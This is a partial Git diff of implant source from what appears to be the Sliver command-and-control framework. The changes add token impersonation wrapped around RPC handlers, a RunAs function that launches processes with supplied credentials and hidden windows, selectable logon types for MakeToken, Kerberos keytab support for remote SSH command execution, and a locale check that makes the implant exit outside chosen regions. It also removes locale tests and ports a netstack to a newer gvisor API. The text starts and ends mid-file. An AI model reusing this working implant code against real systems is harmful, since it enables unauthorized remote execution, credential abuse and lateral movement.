gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
+52
-897
File diff suppressed because it is too large.
Load diff
@@ -530,7 +530,16 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
execResp := &sliverpb.Execute{}
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
exePath, err := expandPath(execReq.Path)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(exePath, execReq.Args...)
|
||||
|
||||
if execReq.Output {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
@@ -929,3 +938,13 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
|
||||
}
|
||||
return readFiles, unreadableFiles, nil
|
||||
}
|
||||
|
||||
func expandPath(exePath string) (string, error) {
|
||||
if !strings.ContainsRune(exePath, os.PathSeparator) {
|
||||
_, err := exec.LookPath(exePath)
|
||||
if err != nil {
|
||||
return filepath.Abs(exePath)
|
||||
}
|
||||
}
|
||||
return exePath, nil
|
||||
}
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"runtime"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -37,6 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
"github.com/bishopfox/sliver/implant/sliver/service"
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -120,6 +122,28 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return windowsHandlers
|
||||
}
|
||||
|
||||
func WrapperHandler(handler RPCHandler, data []byte, resp RPCResponse) {
|
||||
if priv.CurrentToken != 0 {
|
||||
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
}
|
||||
handler(data, resp)
|
||||
if priv.CurrentToken != 0 {
|
||||
err := priv.TRevertToSelf()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------- Windows Handlers ----------------
|
||||
|
||||
func impersonateHandler(data []byte, resp RPCResponse) {
|
||||
@@ -152,10 +176,12 @@ func runAsHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
|
||||
runAs := &sliverpb.RunAs{
|
||||
Output: out,
|
||||
show := 10
|
||||
if runAsReq.HideWindow {
|
||||
show = 0
|
||||
}
|
||||
err = priv.RunAs(runAsReq.Username, runAsReq.Domain, runAsReq.Password, runAsReq.ProcessName, runAsReq.Args, show, runAsReq.NetOnly)
|
||||
runAs := &sliverpb.RunAs{}
|
||||
if err != nil {
|
||||
runAs.Response = &commonpb.Response{Err: err.Error()}
|
||||
}
|
||||
@@ -277,7 +303,16 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
execResp := &sliverpb.Execute{}
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
exePath, err := expandPath(execReq.Path)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(exePath, execReq.Args...)
|
||||
|
||||
// Execute with current token
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{}
|
||||
@@ -424,7 +459,7 @@ func makeTokenHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
makeTokenResp := &sliverpb.MakeToken{}
|
||||
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
|
||||
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password, makeTokenReq.LogonType)
|
||||
if err != nil {
|
||||
makeTokenResp.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
|
||||
@@ -281,11 +281,11 @@ func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEnt
|
||||
}
|
||||
entries = append(entries, &sliverpb.SockTabEntry{
|
||||
LocalAddr: &sliverpb.SockTabEntry_SockAddr{
|
||||
Ip: e.LocalAddr.String(),
|
||||
Ip: e.LocalAddr.IP.String(),
|
||||
Port: uint32(e.LocalAddr.Port),
|
||||
},
|
||||
RemoteAddr: &sliverpb.SockTabEntry_SockAddr{
|
||||
Ip: e.RemoteAddr.String(),
|
||||
Ip: e.RemoteAddr.IP.String(),
|
||||
Port: uint32(e.RemoteAddr.Port),
|
||||
},
|
||||
SkState: e.State.String(),
|
||||
@@ -315,7 +315,11 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
|
||||
commandReq.Username,
|
||||
commandReq.Password,
|
||||
commandReq.PrivKey,
|
||||
commandReq.Command)
|
||||
commandReq.Krb5Conf,
|
||||
commandReq.Keytab,
|
||||
commandReq.Realm,
|
||||
commandReq.Command,
|
||||
)
|
||||
commandResp := &sliverpb.SSHCommand{
|
||||
Response: &commonpb.Response{},
|
||||
StdOut: stdout,
|
||||
|
||||
@@ -30,7 +30,10 @@ import (
|
||||
|
||||
// {{if .Config.LimitUsername}}
|
||||
"os/user"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.LimitLocale}}
|
||||
"regexp"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.LimitDatetime}}
|
||||
@@ -40,6 +43,10 @@ import (
|
||||
// {{if or .Config.LimitHostname .Config.LimitUsername}}
|
||||
"strings"
|
||||
// {{else}}{{end}}
|
||||
|
||||
// {{if .Config.LimitLocale}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
// ExecLimits - Checks for execution limitations (domain, hostname, etc)
|
||||
@@ -104,6 +111,21 @@ func ExecLimits() {
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.LimitLocale}}
|
||||
locale := locale.GetLocale()
|
||||
match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
|
||||
if !match {
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("LimitLocale regexp: %s", err)
|
||||
} else {
|
||||
log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
|
||||
}
|
||||
// {{end}}
|
||||
os.Exit(1)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Limit checks completed")
|
||||
// {{end}}
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestJibberJabber(t *testing.T) {
|
||||
RegisterFailHandler(Fail)
|
||||
RunSpecs(t, "Jibber Jabber Suite")
|
||||
}
|
||||
@@ -1,155 +0,0 @@
|
||||
// +build darwin freebsd linux netbsd openbsd
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
var _ = Describe("Unix", func() {
|
||||
AfterEach(func() {
|
||||
os.Setenv("LC_MESSAGES", "")
|
||||
os.Setenv("LC_ALL", "")
|
||||
os.Setenv("LANG", "en_US.UTF-8")
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
Context("Returns IETF encoded locale", func() {
|
||||
It("should return the locale set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a locale", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectIETF()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Context("when the locale is simply 'fr'", func() {
|
||||
BeforeEach(func() {
|
||||
os.Setenv("LANG", "fr")
|
||||
})
|
||||
|
||||
It("should return the locale without a territory", func() {
|
||||
language, err := DetectIETF()
|
||||
Ω(err).ShouldNot(HaveOccurred())
|
||||
Ω(language).Should(Equal("fr"))
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
Context("Returns encoded language", func() {
|
||||
It("should return the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a language", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguage()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
Context("Returns encoded language tag", func() {
|
||||
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect and parse a language tag", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguageTag()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
Context("Returns encoded territory", func() {
|
||||
It("should return the territory set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a territory", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectTerritory()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
})
|
||||
@@ -1,63 +0,0 @@
|
||||
// +build windows
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
const (
|
||||
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
|
||||
LANGUAGE_REGEXP = "^[a-z]{2}$"
|
||||
TERRITORY_REGEXP = "^[A-Z]{2}$"
|
||||
)
|
||||
|
||||
var _ = Describe("Windows", func() {
|
||||
BeforeEach(func() {
|
||||
locale, err := DetectIETF()
|
||||
Ω(err).Should(BeNil())
|
||||
Ω(locale).ShouldNot(BeNil())
|
||||
Ω(locale).ShouldNot(Equal(""))
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
It("detects correct IETF locale", func() {
|
||||
locale, _ := DetectIETF()
|
||||
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
It("detects correct Language", func() {
|
||||
language, _ := DetectLanguage()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
It("detects correct Language Tag", func() {
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
region, _ := result.Region()
|
||||
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
It("detects correct Territory", func() {
|
||||
territory, _ := DetectTerritory()
|
||||
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
@@ -6,6 +6,7 @@
|
||||
package netstack
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
@@ -23,10 +24,11 @@ import (
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
|
||||
"golang.org/x/net/dns/dnsmessage"
|
||||
"gvisor.dev/gvisor/pkg/bufferv2"
|
||||
"gvisor.dev/gvisor/pkg/tcpip"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/buffer"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/header"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/link/channel"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/stack"
|
||||
@@ -37,69 +39,16 @@ import (
|
||||
)
|
||||
|
||||
type netTun struct {
|
||||
ep *channel.Endpoint
|
||||
stack *stack.Stack
|
||||
dispatcher stack.NetworkDispatcher
|
||||
events chan tun.Event
|
||||
incomingPacket chan buffer.VectorisedView
|
||||
incomingPacket chan *bufferv2.View
|
||||
mtu int
|
||||
dnsServers []netip.Addr
|
||||
hasV4, hasV6 bool
|
||||
}
|
||||
|
||||
type (
|
||||
endpoint netTun
|
||||
Net netTun
|
||||
)
|
||||
|
||||
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
|
||||
e.dispatcher = dispatcher
|
||||
}
|
||||
|
||||
func (e *endpoint) IsAttached() bool {
|
||||
return e.dispatcher != nil
|
||||
}
|
||||
|
||||
func (e *endpoint) MTU() uint32 {
|
||||
mtu, err := (*netTun)(e).MTU()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return uint32(mtu)
|
||||
}
|
||||
|
||||
func (*endpoint) Capabilities() stack.LinkEndpointCapabilities {
|
||||
return stack.CapabilityNone
|
||||
}
|
||||
|
||||
func (*endpoint) MaxHeaderLength() uint16 {
|
||||
return 0
|
||||
}
|
||||
|
||||
func (*endpoint) LinkAddress() tcpip.LinkAddress {
|
||||
return ""
|
||||
}
|
||||
|
||||
func (*endpoint) Wait() {}
|
||||
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
func (*endpoint) ARPHardwareType() header.ARPHardwareType {
|
||||
return header.ARPHardwareNone
|
||||
}
|
||||
|
||||
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
|
||||
}
|
||||
type Net netTun
|
||||
|
||||
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
|
||||
opts := stack.Options{
|
||||
@@ -108,13 +57,15 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
|
||||
HandleLocal: true,
|
||||
}
|
||||
dev := &netTun{
|
||||
ep: channel.New(1024, uint32(mtu), ""),
|
||||
stack: stack.New(opts),
|
||||
events: make(chan tun.Event, 10),
|
||||
incomingPacket: make(chan buffer.VectorisedView),
|
||||
incomingPacket: make(chan *bufferv2.View),
|
||||
dnsServers: dnsServers,
|
||||
mtu: mtu,
|
||||
}
|
||||
tcpipErr := dev.stack.CreateNIC(1, (*endpoint)(dev))
|
||||
dev.ep.AddNotify(dev)
|
||||
tcpipErr := dev.stack.CreateNIC(1, dev.ep)
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
|
||||
}
|
||||
@@ -167,6 +118,7 @@ func (tun *netTun) Read(buf []byte, offset int) (int, error) {
|
||||
if !ok {
|
||||
return 0, os.ErrClosed
|
||||
}
|
||||
|
||||
return view.Read(buf[offset:])
|
||||
}
|
||||
|
||||
@@ -176,17 +128,29 @@ func (tun *netTun) Write(buf []byte, offset int) (int, error) {
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Data: buffer.NewVectorisedView(len(packet), []buffer.View{buffer.NewViewFromBytes(packet)})})
|
||||
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: bufferv2.MakeWithData(packet)})
|
||||
switch packet[0] >> 4 {
|
||||
case 4:
|
||||
tun.dispatcher.DeliverNetworkPacket("", "", ipv4.ProtocolNumber, pkb)
|
||||
tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
|
||||
case 6:
|
||||
tun.dispatcher.DeliverNetworkPacket("", "", ipv6.ProtocolNumber, pkb)
|
||||
tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
|
||||
}
|
||||
|
||||
return len(buf), nil
|
||||
}
|
||||
|
||||
func (tun *netTun) WriteNotify() {
|
||||
pkt := tun.ep.Read()
|
||||
if pkt == nil {
|
||||
return
|
||||
}
|
||||
|
||||
view := pkt.ToView()
|
||||
pkt.DecRef()
|
||||
|
||||
tun.incomingPacket <- view
|
||||
}
|
||||
|
||||
func (tun *netTun) Flush() error {
|
||||
return nil
|
||||
}
|
||||
@@ -197,9 +161,9 @@ func (tun *netTun) Close() error {
|
||||
if tun.events != nil {
|
||||
close(tun.events)
|
||||
}
|
||||
if tun.incomingPacket != nil {
|
||||
close(tun.incomingPacket)
|
||||
}
|
||||
|
||||
tun.ep.Close()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -434,11 +398,10 @@ func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
|
||||
return 0, fmt.Errorf("ping write: mismatched protocols")
|
||||
}
|
||||
|
||||
buf := buffer.NewViewFromBytes(p)
|
||||
rdr := buf.Reader()
|
||||
buf := bytes.NewReader(p)
|
||||
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
|
||||
// won't block, no deadlines
|
||||
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
|
||||
n64, tcpipErr := pc.ep.Write(buf, tcpip.WriteOptions{
|
||||
To: &rfa,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
@@ -453,8 +416,8 @@ func (pc *PingConn) Write(p []byte) (n int, err error) {
|
||||
}
|
||||
|
||||
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
|
||||
e, notifyCh := waiter.NewChannelEntry(nil)
|
||||
pc.wq.EventRegister(&e, waiter.EventIn)
|
||||
e, notifyCh := waiter.NewChannelEntry(waiter.EventIn)
|
||||
pc.wq.EventRegister(&e)
|
||||
defer pc.wq.EventUnregister(&e)
|
||||
|
||||
select {
|
||||
@@ -488,7 +451,7 @@ func (pc *PingConn) SetDeadline(t time.Time) error {
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetReadDeadline(t time.Time) error {
|
||||
pc.deadline.Reset(t.Sub(time.Now()))
|
||||
pc.deadline.Reset(time.Until(t))
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -96,7 +96,23 @@ func SePrivEnable(s string) error {
|
||||
}
|
||||
|
||||
func RevertToSelf() error {
|
||||
err := windows.RevertToSelf()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("RevertToSelf Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
err = windows.CloseHandle(windows.Handle(CurrentToken))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("CloseHandle Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
CurrentToken = windows.Token(0)
|
||||
return err
|
||||
}
|
||||
|
||||
func TRevertToSelf() error {
|
||||
return windows.RevertToSelf()
|
||||
}
|
||||
|
||||
@@ -224,8 +240,12 @@ func impersonateUser(username string) (token windows.Token, err error) {
|
||||
|
||||
// MakeToken uses LogonUser to create a new logon session with the supplied username, domain and password.
|
||||
// It then impersonates the resulting token to allow access to remote network resources as the specified user.
|
||||
func MakeToken(domain string, username string, password string) error {
|
||||
func MakeToken(domain string, username string, password string, logonType uint32) error {
|
||||
var token windows.Token
|
||||
// Default to LOGON32_LOGON_NEW_CREDENTIALS
|
||||
if logonType == 0 {
|
||||
logonType = syscalls.LOGON32_LOGON_NEW_CREDENTIALS
|
||||
}
|
||||
|
||||
pd, err := windows.UTF16PtrFromString(domain)
|
||||
if err != nil {
|
||||
@@ -239,7 +259,7 @@ func MakeToken(domain string, username string, password string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("LogonUser failed: %v\n", err)
|
||||
@@ -275,6 +295,82 @@ func deleteRegistryKey(keyPath, keyName string) (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func RunAs(username string, domain string, password string, program string, args string, show int, netonly bool) (err error) {
|
||||
// call CreateProcessWithLogonW to create a new process with the specified credentials
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
|
||||
// convert username, domain, password, program, args, env, dir to *uint16
|
||||
u, err := windows.UTF16PtrFromString(username)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid username\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
d, err := windows.UTF16PtrFromString(domain)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid domain\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
p, err := windows.UTF16PtrFromString(password)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid password\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
prog, err := windows.UTF16PtrFromString(program)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid program\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
var cmd *uint16
|
||||
if len(args) > 0 {
|
||||
cmd, err = windows.UTF16PtrFromString(fmt.Sprintf("%s %s", program, args))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid prog args\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
}
|
||||
var e *uint16
|
||||
// env := os.Environ()
|
||||
// e, err = windows.UTF16PtrFromString(strings.Join(env, "\x00"))
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Invalid env\n")
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
var di *uint16
|
||||
|
||||
// create a new startup info struct
|
||||
si := &syscalls.StartupInfoEx{
|
||||
StartupInfo: windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESHOWWINDOW,
|
||||
ShowWindow: uint16(show),
|
||||
},
|
||||
}
|
||||
// create a new process info struct
|
||||
pi := &windows.ProcessInformation{}
|
||||
// call CreateProcessWithLogonW
|
||||
var logonFlags uint32 = 0
|
||||
if netonly {
|
||||
logonFlags = 2 // LOGON_NETCREDENTIALS_ONLY
|
||||
}
|
||||
err = syscalls.CreateProcessWithLogonW(u, d, p, logonFlags, prog, cmd, 0, e, di, si, pi)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("CreateProcessWithLogonW failed: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// RunProcessAsUser - Retrieve a primary token belonging to username
|
||||
// and starts a new process using that token.
|
||||
func RunProcessAsUser(username, command, args string) (out string, err error) {
|
||||
|
||||
@@ -165,7 +165,9 @@ func (p *ChannelProxy) HandleConn(src net.Conn) {
|
||||
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
|
||||
// {{end}}
|
||||
tunnel := p.Conn.Tunnel(tunnel.ID)
|
||||
p.Conn.RemoveTunnel(tunnel.ID)
|
||||
if tunnel != nil {
|
||||
p.Conn.RemoveTunnel(tunnel.ID)
|
||||
}
|
||||
src.Close()
|
||||
cancelContext()
|
||||
}
|
||||
|
||||
@@ -3,15 +3,21 @@ package ssh
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"net"
|
||||
"os"
|
||||
|
||||
"github.com/yiya1989/sshkrb5/krb5forssh"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"golang.org/x/crypto/ssh/agent"
|
||||
)
|
||||
|
||||
func getClient(host string, port uint16, username string, password string, privKey []byte) (*ssh.Client, error) {
|
||||
func getClient(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
|
||||
var authMethods []ssh.AuthMethod
|
||||
if password != "" {
|
||||
// Try password auth first
|
||||
@@ -23,6 +29,17 @@ func getClient(host string, port uint16, username string, password string, privK
|
